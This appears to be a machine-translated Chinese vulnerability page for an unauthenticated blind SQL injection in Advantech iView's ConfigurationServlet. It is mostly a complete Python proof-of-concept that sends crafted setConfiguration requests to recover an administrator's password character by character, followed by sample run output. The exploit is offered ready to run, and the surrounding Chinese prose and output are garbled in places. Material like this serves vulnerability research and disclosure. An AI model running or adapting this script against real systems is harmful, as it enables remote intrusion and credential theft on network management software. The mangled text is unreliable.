iView5.7.04.6469
配置Servlet端点内存在具体缺陷,默认监听TCP端口8080非认证远程攻击者可编译专用列值
参数集相容动作绕行检查com.imc.iview.utils.CUtils.checkSQLInjection()
执行SQL注入举例说,攻击者可以利用漏洞检索iView管理员密码
概念脚本证明
import sys, argparse, requests descr = 'Advantech iView setConfiguration SQL Injection (User Password Retrieval)' parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter) required = parser.add_argument_group('required arguments') required.add_argument('-t', '--target',required=True, help='Target host/IP') parser.add_argument('-p', '--port', type=int, default=8080, help='Advantech iView port, default: %(default)s') parser.add_argument('-u', '--user', default='admin', help='Advantech iView user whose password to retrieve, default: %(default)s') args = parser.parse_args() host = args.target port = args.port user = args.user url = 'http://{}:{}/iView3/ConfigurationServlet'.format(host, port) def get_passwd_len(): for i in range(3, 61): sqli = "(SELECT IF(LENGTH((SELECT`strUserPassword`FROM(user_table) /*!WHERE*/ strUserName = '" + user + "')) = " + str(i) + ",0,99999999999999999))" data = { 'page_action_type' : 'setConfiguration', 'column_name' : 'nUseCustomDescription', 'column_value' : sqli } r = requests.post(url, data=data) if 'Configuration Update Success' in r.text: return i return -1 def test(pos, op, v): sqli = "(SELECT IF(ASCII(SUBSTRING((SELECT`strUserPassword`FROM(user_table) /*!WHERE*/ strUserName = '" + user + "'), " + str(pos) + ", 1)) " + op + " " + str(v) + ",0,99999999999999999))" data = { 'page_action_type' : 'setConfiguration', 'column_name' : 'nUseCustomDescription', 'column_value' : sqli } r = requests.post(url, data=data) #print(sqli) #print(r.text) if 'Configuration Update Success' in r.text: return True else: return False def bsearch(pos, low, high): #print('{} - {}'.format(low, high)) if high >= low: mid = (high + low) // 2 if test(pos, '=', mid): return chr(mid) elif test(pos, '>', mid): return bsearch(pos, mid + 1, high) else: return bsearch(pos, low, mid - 1) else: return None print('Getting password length for user "{}"...'.format(user)) pw_len = get_passwd_len() if pw_len >= 3: print('Password length for user "{}" is {}'.format(user, pw_len)) else: sys.exit('Failed to get password length for user "{}"'.format(user)) print('Getting password for user "{}"...'.format(user)) print('Password for user "{}" is '.format(user), end='') for pos in range(1, pw_len + 1): ch = bsearch(pos, 32, 127) if ch != None: print(ch, end='') else: print('Failed to get character at position {} of the password'.format(pos)) print()
概念执行证明
ython3advantech_iview_set配置sqli
P8080-uadmin获取密码长度用户admin密码长度用户Admin为12获取密码用户Admin用户密码Admin